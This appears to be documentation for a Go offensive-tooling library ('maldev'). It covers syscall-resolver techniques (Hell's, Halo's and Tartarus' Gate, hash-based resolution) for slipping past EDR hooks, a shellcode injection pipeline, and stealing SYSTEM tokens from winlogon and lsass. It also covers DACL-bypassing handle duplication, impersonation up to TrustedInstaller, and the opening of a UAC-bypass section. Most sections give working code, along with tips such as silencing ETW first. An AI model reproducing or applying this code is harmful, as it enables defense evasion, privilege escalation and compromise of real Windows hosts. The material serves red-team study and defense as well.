flowchart LR
    A["Need SSN for NtXxx"] --> B[Resolver.Resolve]
    B --> C[ntdll base via<br>GetProcAddress or PEB walk]
    C --> D[Read function prologue]
    D --> E{Intact?<br>4C 8B D1 B8}
    E -->|Yes| F[SSN = bytes 4-5]
    E -->|No| G[Strategy fallback:<br>neighbors / JMP follow / hash]
    G --> F
    F --> H[caller.Call builds<br>syscall stub]
  • Hell's Gate — read mov eax, imm32 directly from the unhooked prologue. Fastest, fails on any hooked function.
  • Halo's Gate — target hooked? scan neighbours (±500 stubs × 32 bytes). Since SSNs are sequential in ntdll, an unhooked neighbour N stubs away implies target_SSN = neighbour_SSN ± N.
  • Tartarus' Gate — target patched with E9 xx xx xx xx or EB xx? follow the JMP into the EDR trampoline; most trampolines restore mov eax, imm32 before the real syscall instruction.
  • Hash-based (HashGate) — resolve the function address itself via PEB walk + ROR13 export hashing. No "NtAllocateVirtualMemory" string anywhere in the binary. Falls back to Hell's Gate for SSN extraction once the address is found.
  • Chain — compose resolvers (e.g. Tartarus → HashGate → Halo's); first success wins, giving layered resilience without reimplementing the strategies individually.

How Each Resolver Works

The ntdll Prologue

Every unhooked NT function in ntdll starts with the same byte pattern:

4C 8B D1          mov r10, rcx       ; save first argument
B8 XX XX 00 00    mov eax, <SSN>     ; load syscall number
...
0F 05             syscall            ; enter kernel
C3                ret

The SSN is the two bytes at offset +4 and +5. All resolvers ultimately extract these bytes.

Decision Tree

flowchart TD
    START["Need SSN for\nNtXxxFunction"] --> CHECK{"Is the prologue\nintact?\n(4C 8B D1 B8)"}

    CHECK -->|"Yes, bytes match"| HELLS["HellsGate\nRead SSN directly\nfrom bytes 4-5"]
    CHECK -->|"No, bytes modified"| HOOKTYPE{"What replaced\nthe prologue?"}

    HOOKTYPE -->|"E9 xx xx xx xx\n(near JMP)"| TART_JMP["TartarusGate\nFollow JMP displacement\nto trampoline code"]
    HOOKTYPE -->|"EB xx\n(short JMP)"| TART_SHORT["TartarusGate\nFollow short JMP\nto trampoline"]
    HOOKTYPE -->|"Unknown patch\n(INT3, NOP sled, etc.)"| HALOS["HalosGate\nScan neighboring stubs\n(+/- 500 * 32 bytes)"]

    TART_JMP --> TRAMP{"Trampoline has\nmov eax, imm32?"}
    TART_SHORT --> TRAMP
    TRAMP -->|"Yes, found B8 XX XX"| TART_OK["SSN extracted\nfrom trampoline"]
    TRAMP -->|"No, unrecognized code"| HALOS

    HALOS --> NEIGHBOR{"Found unhooked\nneighbor within\n500 stubs?"}
    NEIGHBOR -->|"Yes: neighbor SSN = X\nat offset N"| CALC["Target SSN =\nX +/- N"]
    NEIGHBOR -->|"No neighbors\nunhooked"| FAIL["Resolution failed"]

    HELLS --> SUCCESS["SSN resolved"]
    TART_OK --> SUCCESS
    CALC --> SUCCESS

    style SUCCESS fill:#4a9,color:#fff
    style FAIL fill:#f66,color:#fff
    style HELLS fill:#49a,color:#fff
    style HALOS fill:#a94,color:#fff
    style TART_JMP fill:#94a,color:#fff
    style TART_SHORT fill:#94a,color:#fff

Hell's Gate

The simplest resolver. Reads the SSN directly from the unhooked function prologue.

flowchart LR
    A["ntdll!NtCreateThreadEx"] --> B["Read bytes 0-7"]
    B --> C{"4C 8B D1 B8?"}
    C -->|Yes| D["SSN = bytes[4] | bytes[5]<<8"]
    C -->|No| E["ERROR: hooked"]

    style D fill:#4a9,color:#fff
    style E fill:#f66,color:#fff

When to use: You know ntdll is not hooked (e.g., you loaded a fresh copy from disk, or the target has no EDR).

Fails when: Any EDR has patched the function prologue (the most common hooking strategy).

Halo's Gate

Extends Hell's Gate by exploiting the fact that SSNs are sequential in ntdll. If NtCreateThreadEx is hooked but the function 3 stubs above it (NtCreateFile, SSN=0x55) is not, then NtCreateThreadEx's SSN is 0x55 + 3.

flowchart TD
    A["Target: NtCreateThreadEx\n(hooked, can't read SSN)"] --> B["Scan UP: addr - 32"]
    A --> C["Scan DOWN: addr + 32"]

    B --> D{"Unhooked?\n4C 8B D1 B8?"}
    C --> E{"Unhooked?\n4C 8B D1 B8?"}

    D -->|"Yes at offset -3"| F["Neighbor SSN = 0x55\nTarget = 0x55 + 3 = 0x58"]
    E -->|"Yes at offset +2"| G["Neighbor SSN = 0x5A\nTarget = 0x5A - 2 = 0x58"]
    D -->|No| H["Try next neighbor\n(up to 500)"]
    E -->|No| H

    style F fill:#4a9,color:#fff
    style G fill:#4a9,color:#fff

When to use: EDR hooks your target function but leaves some neighbors unhooked.

Fails when: All 1000 neighboring stubs (500 up, 500 down) are hooked. Extremely unlikely in practice.

Tartarus Gate

Extends Hell's and Halo's Gate by understanding JMP hooks. When an EDR patches a function with E9 xx xx xx xx (near JMP) or EB xx (short JMP), Tartarus follows the jump to the EDR's trampoline code. The trampoline typically restores the original mov eax, <SSN> instruction before executing the syscall, so Tartarus scans the trampoline for the B8 XX XX pattern.

flowchart TD
    A["Target function bytes:\nE9 4F 01 00 00 ..."] --> B["Near JMP detected"]
    B --> C["displacement = 0x0000014F"]
    C --> D["hookDest = addr + 5 + displacement"]
    D --> E["Scan trampoline\nfor B8 XX XX pattern"]
    E -->|"Found at offset +12"| F["SSN = trampoline[13] |\ntrampoline[14]<<8"]
    E -->|"Not found"| G["Fall back to\nHalo's Gate scanning"]

    style F fill:#4a9,color:#fff
    style G fill:#a94,color:#fff

When to use: Default choice for maximum resilience. Handles unhooked, JMP-hooked, and partially hooked ntdll.

Fails when: The trampoline code does not contain a recognizable mov eax, imm32 AND all neighbors are also hooked.

HashGate

Resolves the function address via PEB walk + ROR13 export hashing instead of ntdll.NewProc(name). This eliminates string-based resolution entirely -- no "NtAllocateVirtualMemory" in the binary.

Once the function address is found via hash, SSN extraction uses the same Hell's Gate prologue check.

flowchart TD
    A["Function name:\nNtCreateThreadEx"] --> B["ROR13 hash:\n0x4D1DEB74"]
    B --> C["PEB walk:\nfind ntdll base via\nmodule hash 0x411677B7"]
    C --> D["Walk PE exports:\nhash each name with ROR13"]
    D --> E{"Hash matches\n0x4D1DEB74?"}
    E -->|Yes| F["Function address found"]
    F --> G{"Prologue intact?\n4C 8B D1 B8?"}
    G -->|Yes| H["SSN extracted"]
    G -->|No| I["ERROR: hooked\n(no neighbor scanning)"]

    style H fill:#4a9,color:#fff
    style I fill:#f66,color:#fff
    style B fill:#a94,color:#fff

When to use: When you need string-free resolution. Combine with Chain() for hook resilience.

Fails when: The function is hooked (no neighbor scanning built in -- use Chain() with HalosGate for fallback).


Usage

Individual Resolvers

import wsyscall "github.com/oioio-space/maldev/win/syscall"

// Hell's Gate -- fast, simple, fails on hooked functions
hg := wsyscall.NewHellsGate()
ssn, err := hg.Resolve("NtCreateThreadEx")

// Halo's Gate -- neighbor scanning fallback
hag := wsyscall.NewHalosGate()
ssn, err := hag.Resolve("NtCreateThreadEx")

// Tartarus Gate -- JMP hook trampoline + neighbor fallback
tg := wsyscall.NewTartarus()
ssn, err := tg.Resolve("NtCreateThreadEx")

// HashGate -- string-free PEB walk resolution
hgr := wsyscall.NewHashGate()
ssn, err := hgr.Resolve("NtCreateThreadEx")

Chain: Compose Resolvers

import wsyscall "github.com/oioio-space/maldev/win/syscall"

// Try Tartarus first (handles JMP hooks), fall back to HashGate,
// then Halo's Gate as last resort
resolver := wsyscall.Chain(
    wsyscall.NewTartarus(),
    wsyscall.NewHashGate(),
    wsyscall.NewHalosGate(),
)

caller := wsyscall.New(wsyscall.MethodIndirect, resolver)
defer caller.Close()

ret, err := caller.Call("NtAllocateVirtualMemory", /* args... */)

With Injection Pipeline

import (
    "context"

    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

// Resilient resolver chain for hostile EDR environments
caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(
        wsyscall.NewTartarus(),
        wsyscall.NewHalosGate(),
    ),
)
defer caller.Close()

pipe := inject.NewPipeline(caller)
err := pipe.Inject(context.Background(), shellcode,
    inject.WithMethod(inject.MethodCreateThread),
)

Combined Example: Resolver Resilience Test

package main

import (
    "fmt"

    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    functions := []string{
        "NtAllocateVirtualMemory",
        "NtProtectVirtualMemory",
        "NtCreateThreadEx",
        "NtWriteVirtualMemory",
    }

    resolvers := map[string]wsyscall.SSNResolver{
        "HellsGate":   wsyscall.NewHellsGate(),
        "HalosGate":   wsyscall.NewHalosGate(),
        "TartarusGate": wsyscall.NewTartarus(),
        "HashGate":    wsyscall.NewHashGate(),
    }

    for name, resolver := range resolvers {
        fmt.Printf("\n--- %s ---\n", name)
        for _, fn := range functions {
            ssn, err := resolver.Resolve(fn)
            if err != nil {
                fmt.Printf("  %s: FAILED (%v)\n", fn, err)
            } else {
                fmt.Printf("  %s: SSN=0x%04X\n", fn, ssn)
            }
        }
    }
}

Advantages & Limitations

Advantages

  • Layered resilience: Chain() composes resolvers so the first successful one wins
  • JMP-hook aware: Tartarus Gate follows EDR trampolines that other resolvers cannot handle
  • String-free option: HashGate eliminates all plaintext function names
  • Zero external dependencies: Pure Go + unsafe pointer arithmetic, no CGo or assembly files
  • Thread-safe: HashGate uses sync.Once for lazy initialization; Caller uses sync.Mutex for stubs

Limitations

  • Hell's Gate: Fails on any hooked function -- too fragile for production use alone
  • Halo's Gate: Assumes 32-byte stub alignment -- non-standard ntdll layouts break it
  • Tartarus Gate: Cannot handle inline hooks that do not contain a recognizable mov eax, imm32
  • HashGate: No hook resilience -- combine with Halo's/Tartarus via Chain() for robustness
  • All resolvers: x64 only; SSN offsets and stub layouts differ on x86 and ARM64

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/win/syscall is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

Token Manipulation

<- Back to README

The win/token, win/impersonate, win/privilege, and privesc/uac packages provide Windows token manipulation: stealing tokens from other processes, thread impersonation, privilege escalation, and UAC bypass.


Architecture Overview

graph TD
    subgraph "win/token"
        STEAL["Steal(pid)"]
        STEALNAME["StealByName(name)"]
        STEALDUP["StealViaDuplicateHandle()"]
        OPEN["OpenProcessToken()"]
        INTERACTIVE["Interactive()"]
        PRIV["EnableAllPrivileges()"]
        TOKEN["*Token"]

        STEAL --> TOKEN
        STEALNAME --> STEAL
        STEALDUP --> TOKEN
        OPEN --> TOKEN
        INTERACTIVE --> TOKEN
        TOKEN --> PRIV
    end

    subgraph "win/impersonate"
        LOGON["LogonUserW()"]
        IMP["ImpersonateLoggedOnUser()"]
        THREAD["ImpersonateThread()"]
        THREAD --> LOGON --> IMP
    end

    subgraph "win/privilege"
        ISADMIN["IsAdmin()"]
        EXECAS["ExecAs()"]
        LOGONCREATE["CreateProcessWithLogon()"]
        RUNAS["ShellExecuteRunAs()"]
    end

    subgraph "privesc/uac"
        FOD["FODHelper()"]
        SLUI["SLUI()"]
        SILENT["SilentCleanup()"]
        EVT["EventVwr()"]
    end

    TOKEN -.->|"used by"| THREAD
    TOKEN -.->|"used by"| EXECAS

Where to start (novice path):

  1. win/tokenSteal(pid) / StealByName. Grab another process's token (typically winlogon's SYSTEM token) and impersonate. Foundation everything else builds on.
  2. win/impersonateLogonUser-based impersonation when you have plaintext creds (vs token theft).
  3. win/privilege — enable specific privileges in the current token (SeDebugPrivilege for LSASS access, SeBackupPrivilege for reg save).
  4. privesc/uac — UAC bypass methods (FODHelper, ComputerDefaults, sdclt, etc.) when you're Medium-IL and need High-IL.

Documentation

DocumentDescription
Token TheftSteal, StealByName, StealViaDuplicateHandle
Thread ImpersonationLogonUserW + ImpersonateLoggedOnUser
Privilege EscalationExecAs, CreateProcessWithLogon, UAC bypass

Quick decision tree

You want to…Use
…steal a primary token from another PIDtoken-theft.mdSteal(pid)
…steal a token by process nametoken-theft.mdStealByName(name)
…run code as domain\user with credentialsimpersonation.mdImpersonateThread
…run code as NT AUTHORITY\SYSTEMimpersonation.mdGetSystem (winlogon clone)
…run code as TrustedInstallerimpersonation.mdGetTrustedInstaller
…enable SeDebugPrivilege (or any SeXxx) on the current tokenprivilege-escalation.mdEnablePrivilege
…spawn a child process under alternate credentialsprivilege-escalation.mdExecAs(...)
…check if I'm admin / elevated right nowprivilege-escalation.mdIsAdmin()
…trigger a UAC consent prompt and elevateprivilege-escalation.mdShellExecuteRunAs

MITRE ATT&CK

TechniqueIDDescription
Access Token ManipulationT1134Token theft and manipulation
Token Impersonation/TheftT1134.001Thread impersonation
Abuse Elevation Control Mechanism: UAC BypassT1548.002FODHelper, SLUI, SilentCleanup, EventVwr

D3FEND Countermeasures

CountermeasureIDDescription
Token Authentication and Authorization NormalizationD3-TAANMonitor token manipulation
User Account ProfilingD3-UAPDetect privilege escalation

See also

Token Stealing

<- Back to Tokens Overview

MITRE ATT&CK: T1134 - Access Token Manipulation D3FEND: D3-TAAN - Token Authentication and Authorization Normalization


TL;DR

You're admin (or have SeDebugPrivilege) and want to act as SYSTEM (or as another user). Steal their token, use it to spawn a process as them.

You want to…UseResult
Get a SYSTEM token from winlogon.exe / lsass.exeStealFromProcessToken handle ready for impersonation or process spawn
Spawn a process AS that userCreateProcessWithTokenNew process running with the stolen token
Just impersonate on the current threadPair with tokens/impersonationPer-thread; reverts when done

What this DOES achieve:

  • SYSTEM-level access from any admin starting point. Once you have a SYSTEM token + CreateProcessWithToken, you can spawn an implant that runs as SYSTEM with no UAC prompt.
  • Original process unaffected — duplication, not transfer.
  • Composes with tokens/impersonation for per-thread use.

What this does NOT achieve:

  • Needs SeDebugPrivilege — admin token has it disabled by default; enable via process/session.EnableSeDebugPrivilege first. Standard user can't steal high-priv tokens.
  • LoudOpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE) on lsass.exe is the textbook EDR trigger for credential access. Pair with evasion/preset.Stealth to silence ETW first.
  • Doesn't bypass kernel callbacksPsSetCreateProcessNotify fires when you spawn the new process. EDR sees a high-integrity process spawned by your medium-integrity one — anomaly.
  • Per-process, not per-domain — token theft = local identity transfer. For domain access, the stolen token needs network logon credentials inside it (interactive logons usually do; service tokens often don't).

Primer

Every process on Windows runs under a security token that defines who it is and what it can do. A SYSTEM process has a powerful token; a regular user process has a limited one.

Stealing someone's employee badge to access restricted areas. Token theft duplicates the security token from a high-privilege process (like lsass.exe or winlogon.exe) and uses it to create new processes or perform actions with that identity. The original process is unaffected -- you have a copy of its badge.


How It Works

Token Theft Flow

sequenceDiagram
    participant Attacker as "Attacker Process"
    participant Target as "Target Process (SYSTEM)"
    participant Kernel as "Windows Kernel"

    Attacker->>Kernel: OpenProcess(PROCESS_QUERY_INFORMATION, targetPID)
    Kernel-->>Attacker: Process handle

    Attacker->>Kernel: OpenProcessToken(handle, TOKEN_DUPLICATE|TOKEN_QUERY)
    Kernel-->>Attacker: Token handle

    Attacker->>Kernel: DuplicateTokenEx(token, TOKEN_ALL_ACCESS,<br>SecurityImpersonation, TokenPrimary)
    Kernel-->>Attacker: Duplicated token (new handle)

    Note over Attacker: Now holds a SYSTEM-level<br>primary token

    Attacker->>Kernel: CreateProcessAsUser(dupToken, "cmd.exe")
    Note over Attacker: New cmd.exe runs as SYSTEM

Three Theft Methods

flowchart TD
    START["Need a token"] --> Q1{"Know the\nprocess PID?"}

    Q1 -->|Yes| STEAL["Steal(pid)\nOpen process -> Open token -> Duplicate"]
    Q1 -->|No| Q2{"Know the\nprocess name?"}

    Q2 -->|Yes| STEALNAME["StealByName(name)\nEnum processes -> Find PID -> Steal"]
    Q2 -->|No| Q3{"Have process\nhandle with\nDUP_HANDLE?"}

    Q3 -->|Yes| DUPHANDLE["StealViaDuplicateHandle()\nDuplicate remote handle -> Duplicate token"]
    Q3 -->|No| INTERACTIVE["Interactive(type)\nWTS session -> QueryUserToken"]

    STEAL --> TOKEN["*Token"]
    STEALNAME --> TOKEN
    DUPHANDLE --> TOKEN
    INTERACTIVE --> TOKEN

    style STEAL fill:#4a9,color:#fff
    style STEALNAME fill:#49a,color:#fff
    style DUPHANDLE fill:#94a,color:#fff
    style INTERACTIVE fill:#a94,color:#fff

DuplicateHandle Bypass

The StealViaDuplicateHandle technique bypasses the token's DACL by duplicating a handle from the remote process's handle table, rather than opening the token directly:

flowchart LR
    subgraph "Standard Steal"
        A1["OpenProcess"] --> A2["OpenProcessToken"]
        A2 -->|"DACL check"| A3["Token"]
        A2 -.->|"ACCESS_DENIED\n(protected process)"| FAIL1["Failed"]
    end

    subgraph "DuplicateHandle Bypass"
        B1["OpenProcess\n(PROCESS_DUP_HANDLE)"] --> B2["NtQuerySystemInformation\n(find token handles)"]
        B2 --> B3["DuplicateHandle\n(bypass DACL)"]
        B3 --> B4["DuplicateTokenEx"]
        B4 --> B5["Token"]
    end

    style FAIL1 fill:#f66,color:#fff
    style B5 fill:#4a9,color:#fff

Usage

Steal by PID

import "github.com/oioio-space/maldev/win/token"

// Steal SYSTEM token from lsass.exe (PID 680)
tok, err := token.Steal(680)
if err != nil {
    log.Fatal(err)
}
defer tok.Close()

// Check the identity
details, _ := tok.UserDetails()
fmt.Println(details.Username) // "SYSTEM"

Steal by Process Name

// Find and steal token from winlogon.exe
tok, err := token.StealByName("winlogon.exe")
if err != nil {
    log.Fatal(err)
}
defer tok.Close()

// Check integrity level
level, _ := tok.IntegrityLevel()
fmt.Println(level) // "System"

Steal via DuplicateHandle

import (
    "golang.org/x/sys/windows"
    "github.com/oioio-space/maldev/win/ntapi"
    "github.com/oioio-space/maldev/win/token"
)

// Open process with PROCESS_DUP_HANDLE
hProcess, _ := windows.OpenProcess(
    windows.PROCESS_DUP_HANDLE, false, targetPID,
)
defer windows.CloseHandle(hProcess)

// Find token handle in remote process via NtQuerySystemInformation
// (remoteTokenHandle discovered via ntapi.FindHandleByType)
var remoteTokenHandle uintptr = 0x1234

tok, err := token.StealViaDuplicateHandle(hProcess, remoteTokenHandle)
if err != nil {
    log.Fatal(err)
}
defer tok.Close()

Token Privilege Management

tok, _ := token.Steal(targetPID)
defer tok.Close()

// Enable all privileges
tok.EnableAllPrivileges()

// Enable specific privilege
tok.EnablePrivilege("SeDebugPrivilege")

// List all privileges
privs, _ := tok.Privileges()
for _, p := range privs {
    fmt.Println(p) // "SeDebugPrivilege: Enabled"
}

// Check integrity level
level, _ := tok.IntegrityLevel()
fmt.Println(level) // "High", "System", etc.

Combined Example: Token Theft + Process Creation

package main

import (
    "fmt"

    "github.com/oioio-space/maldev/win/privilege"
    "github.com/oioio-space/maldev/win/token"
)

func main() {
    // Check if we are admin
    isAdmin, isElevated, _ := privilege.IsAdmin()
    fmt.Printf("Admin: %v, Elevated: %v\n", isAdmin, isElevated)

    // Steal SYSTEM token from winlogon.exe
    tok, err := token.StealByName("winlogon.exe")
    if err != nil {
        fmt.Println("Token theft failed:", err)
        return
    }
    defer tok.Close()

    // Enable SeDebugPrivilege on the stolen token
    tok.EnablePrivilege("SeDebugPrivilege")

    // Verify identity
    details, _ := tok.UserDetails()
    fmt.Printf("Stolen identity: %s\\%s\n", details.Domain, details.Username)

    level, _ := tok.IntegrityLevel()
    fmt.Println("Integrity:", level)

    // Use the token to list all privileges
    privs, _ := tok.Privileges()
    for _, p := range privs {
        if p.Enabled {
            fmt.Println("  [+]", p.Name)
        }
    }
}

Advantages & Limitations

Advantages

  • Three theft methods: Direct PID, by name, and DuplicateHandle bypass cover most scenarios
  • Full privilege management: Enable, disable, remove individual or all privileges
  • DuplicateHandle bypass: Circumvents token DACL restrictions on protected processes
  • Token introspection: UserDetails, IntegrityLevel, Privileges, LinkedToken
  • Detach for lifetime management: tok.Detach() transfers handle ownership to caller

Limitations

  • SeDebugPrivilege required: Stealing from SYSTEM processes requires debug privilege
  • Process must be accessible: Cannot steal from PPL (Protected Process Light) without kernel exploit
  • Token is a copy: Changes to the stolen token do not affect the original process
  • Detectable: OpenProcess + OpenProcessToken is logged by ETW and most EDR products
  • Session 0 isolation: SYSTEM tokens from Session 0 cannot interact with the user desktop

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/win/token is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

Thread Impersonation

<- Back to Tokens Overview

MITRE ATT&CK: T1134.001 - Access Token Manipulation: Token Impersonation/Theft D3FEND: D3-TAAN - Token Authentication and Authorization Normalization


TL;DR

You stole / borrowed another user's token (via token-theft or LogonUserW). To USE that token for an operation (open a file as them, hit an SMB share with their creds), you attach it to a thread — that thread now acts as that user until you revert.

You want…UseScope
Run a callback as another userAsOne callback's lifetime; auto-revert
Long-lived impersonation across callsImpersonateLoggedOnUser + manual revertUntil RevertToSelf
Per-thread, parallel impersonationsruntime.LockOSThread + As per goroutineOne per OS thread

What this DOES achieve:

  • Network operations (SMB, WinRM, MSRPC) authenticate as the impersonated user — useful for accessing shares your current token can't reach.
  • File / registry access checks against the impersonated token's ACLs.
  • Scoped + reversible — the token attaches to ONE thread, not the whole process.

What this does NOT achieve:

  • Doesn't change WHO the process is — Process Hacker / Sysmon EID 1 still see your real user. Impersonation is per-thread and per-API-call.
  • Goroutine ↔ OS-thread mismatch — Go's scheduler can move your goroutine onto a different OS thread mid-call, losing the impersonation. runtime.LockOSThread is mandatory before ImpersonateLoggedOnUser.
  • Doesn't survive CreateProcess — child processes inherit the PROCESS token, not the THREAD token. To spawn AS the impersonated user, use token-theft's CreateProcessWithToken path instead.
  • SeImpersonatePrivilege required — most service accounts have it; standard user does not. Check before trying.

Primer

Token theft gives you a copy of someone else's badge. Thread impersonation goes further -- it lets a specific thread in your process temporarily wear that badge to perform actions as that user, then revert back to your original identity.

Temporarily wearing someone else's uniform for a specific task. You log in as another user (with their credentials), impersonate their identity on a locked OS thread, do the work, then call RevertToSelf() to become yourself again. The impersonation is scoped to a single thread and automatically cleaned up.


How It Works

Impersonation Flow

sequenceDiagram
    participant Thread as "Locked OS Thread"
    participant Win as "Windows API"
    participant Callback as "callbackFunc()"

    Thread->>Thread: runtime.LockOSThread()
    Note over Thread: Thread pinned to OS thread

    Thread->>Win: LogonUserW(user, domain, password)
    Win-->>Thread: Token handle

    Thread->>Win: EnableAllPrivileges(token)
    Thread->>Win: ImpersonateLoggedOnUser(token)
    Note over Thread: Thread now runs as<br>the impersonated user

    Thread->>Callback: callbackFunc()
    Note over Callback: All operations use<br>impersonated identity

    Callback-->>Thread: return

    Thread->>Win: RevertToSelf()
    Note over Thread: Thread identity restored

    Thread->>Thread: runtime.UnlockOSThread()
    Thread->>Win: token.Close()

Why LockOSThread is Required

flowchart TD
    subgraph "Without LockOSThread (BROKEN)"
        A1["goroutine calls\nImpersonateLoggedOnUser"] --> A2["Go scheduler moves\ngoroutine to OS Thread 2"]
        A2 --> A3["OS Thread 1 still impersonating\nOS Thread 2 is NOT impersonating"]
        A3 --> A4["Operations use WRONG identity"]
    end

    subgraph "With LockOSThread (CORRECT)"
        B1["goroutine calls\nruntime.LockOSThread()"] --> B2["goroutine calls\nImpersonateLoggedOnUser"]
        B2 --> B3["Go scheduler CANNOT\nmove this goroutine"]
        B3 --> B4["All operations on\nimpersonated OS thread"]
        B4 --> B5["RevertToSelf()"]
        B5 --> B6["runtime.UnlockOSThread()"]
    end

    style A4 fill:#f66,color:#fff
    style B4 fill:#4a9,color:#fff

Usage

Basic Thread Impersonation

import "github.com/oioio-space/maldev/win/impersonate"

err := impersonate.ImpersonateThread(
    false,           // not domain-joined
    ".",             // local machine
    "admin",         // username
    "Password123!",  // password
    func() error {
        // Everything in this callback runs as "admin"
        user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
        fmt.Printf("Running as: %s\\%s\n", domain, user)

        // Perform privileged operations here
        return nil
    },
)

Domain Impersonation

err := impersonate.ImpersonateThread(
    true,                // domain-joined
    "CORP",              // domain name
    "svc_backup",        // domain user
    "BackupP@ss2024!",   // password
    func() error {
        // Running as CORP\svc_backup
        // Access network shares, domain resources, etc.
        return nil
    },
)

Low-Level: LogonUserW + ImpersonateLoggedOnUser

import (
    "runtime"
    "github.com/oioio-space/maldev/win/impersonate"
    "github.com/oioio-space/maldev/win/token"
    "golang.org/x/sys/windows"
)

runtime.LockOSThread()
defer runtime.UnlockOSThread()

// Log in as another user
t, err := impersonate.LogonUserW(
    "admin", ".", "Password123!",
    impersonate.LOGON32_LOGON_INTERACTIVE,
    impersonate.LOGON32_PROVIDER_DEFAULT,
)
if err != nil {
    log.Fatal(err)
}

wt := token.New(t, token.Impersonation)
defer wt.Close()

// Enable privileges on the token
wt.EnableAllPrivileges()

// Impersonate on this thread
impersonate.ImpersonateLoggedOnUser(wt.Token())
defer windows.RevertToSelf()

// Perform actions as the impersonated user
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Impersonating: %s\\%s\n", domain, user)

Combined Example: Impersonate + Access Protected Resource

package main

import (
    "fmt"
    "os"

    "github.com/oioio-space/maldev/win/impersonate"
)

func main() {
    // Check current identity
    user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
    fmt.Printf("Before: %s\\%s\n", domain, user)

    // Impersonate a service account to read a protected file
    err := impersonate.ImpersonateThread(
        true,              // domain account
        "CORP",
        "svc_fileserver",
        "FileServ!2024",
        func() error {
            // Running as CORP\svc_fileserver
            user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
            fmt.Printf("During: %s\\%s\n", domain, user)

            // Read a file only accessible to svc_fileserver
            data, err := os.ReadFile(`\\fileserver\share$\sensitive.dat`)
            if err != nil {
                return err
            }
            fmt.Printf("Read %d bytes from protected share\n", len(data))
            return nil
        },
    )
    if err != nil {
        fmt.Println("Impersonation failed:", err)
    }

    // Back to original identity
    user, domain, _ = impersonate.ThreadEffectiveTokenOwner()
    fmt.Printf("After: %s\\%s\n", domain, user)
}

Advantages & Limitations

Advantages

  • Scoped impersonation: ImpersonateThread handles LockOSThread + RevertToSelf automatically
  • Privilege escalation: EnableAllPrivileges called on the token before impersonation
  • Domain support: Works with both local and domain accounts
  • errgroup integration: Uses golang.org/x/sync/errgroup for clean error propagation
  • Thread safety: runtime.LockOSThread() ensures impersonation stays on the correct OS thread

Limitations

  • Requires credentials: Needs plaintext username and password (not a token)
  • Logon type limitations: LOGON32_LOGON_INTERACTIVE requires "Allow log on locally" right
  • Network logon restrictions: Local accounts cannot access network resources via type 2 logon
  • Detectable: LogonUserW creates logon events (Event ID 4624) in the Security log
  • Single thread: Only the locked OS thread is impersonated -- other goroutines run as the original user

Composable Elevation

The impersonate package provides composable elevation primitives that chain together: ImpersonateByPID is the building block, GetSystem uses it to reach SYSTEM via winlogon.exe, and GetTrustedInstaller composes GetSystem with the TrustedInstaller service to reach the highest privilege level.

All three follow the callback pattern -- the elevated identity is scoped to the callback and automatically reverted when it returns.

ImpersonateByPID

Steal and impersonate the token of any process by PID. Requires SeDebugPrivilege for cross-session processes.

import "github.com/oioio-space/maldev/win/impersonate"

// Impersonate the token of PID 1234
err := impersonate.ImpersonateByPID(1234, func() error {
    user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
    fmt.Printf("Running as: %s\\%s\n", domain, user)
    return nil
})

GetSystem

Elevate to NT AUTHORITY\SYSTEM by stealing the winlogon.exe token. Requires admin + SeDebugPrivilege.

err := impersonate.GetSystem(func() error {
    user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
    fmt.Printf("Running as: %s\\%s\n", domain, user)
    // NT AUTHORITY\SYSTEM — full kernel-level access
    return nil
})

GetTrustedInstaller

Elevate to NT SERVICE\TrustedInstaller -- the highest privilege level on Windows. Internally composes GetSystem (to open the TI service process) with ImpersonateByPID (to steal the TI token). Requires admin + SeDebugPrivilege.

err := impersonate.GetTrustedInstaller(func() error {
    user, _, _ := impersonate.ThreadEffectiveTokenOwner()
    fmt.Printf("Running as: %s\n", user) // TrustedInstaller

    // Modify protected system files, registry keys, etc.
    return nil
})

Composition Example

// Chain: admin -> SYSTEM -> TrustedInstaller -> back to admin
// All within a single function call
err := impersonate.GetTrustedInstaller(func() error {
    // Delete a protected system file
    return os.Remove(`C:\Windows\System32\protected.dll`)
})
// Thread has reverted to original identity here

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/win/impersonate is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

Privilege Escalation

<- Back to Tokens Overview

MITRE ATT&CK: T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control D3FEND: D3-UAP - User Account Profiling


TL;DR

You're an admin account but your process runs at Medium IL (default user-mode posture; UAC didn't elevate you). To run as High IL without showing a UAC prompt, hijack one of Windows's auto-elevating binaries (fodhelper, sdclt, eventvwr, etc.).

You want to…UseCost
Bypass UAC via fodhelper registry hijackFodhelperBypassOne registry write (HKCU) — fodhelper auto-elevates and reads back the value
Discover other auto-elevate hijack candidates programmaticallyrecon/dllhijack.ScanAutoElevateCross-references autoElevate manifest + writable search paths

What this DOES achieve:

  • High IL (admin's full token) without UAC consent dialog — the auto-elevating binary runs your payload as part of its normal flow.
  • HKCU write only — no admin needed BEFORE the bypass; you use HKCU to redirect HKCR lookups that fodhelper makes.
  • Reverses cleanly — delete the registry key after the bypass fires.

What this does NOT achieve:

  • Doesn't work on Always-Notify UAC — when UAC slider is at the top, even auto-elevate binaries prompt. Default setting is one notch lower; bypass works there.
  • Detected by mature EDR — Microsoft Defender catches fodhelper UAC bypass since 2019; CrowdStrike / SentinelOne same. Use as a stepping stone in lab work, not as primary privesc on hardened hosts.
  • Already-admin token required — bypasses elevate Medium-IL admin to High-IL admin. They do NOT escalate standard user → admin. For that, see kernel exploits (e.g., privesc/cve202430088).
  • Microsoft patches these — every documented bypass has a finite shelf life. fodhelper, sdclt, eventvwr have all been patched at least once each. Check current Windows build before relying.

Primer

Even if you have an administrator account on Windows, your processes run with limited privileges by default. User Account Control (UAC) prevents automatic elevation -- you need to explicitly "Run as administrator" for each program.

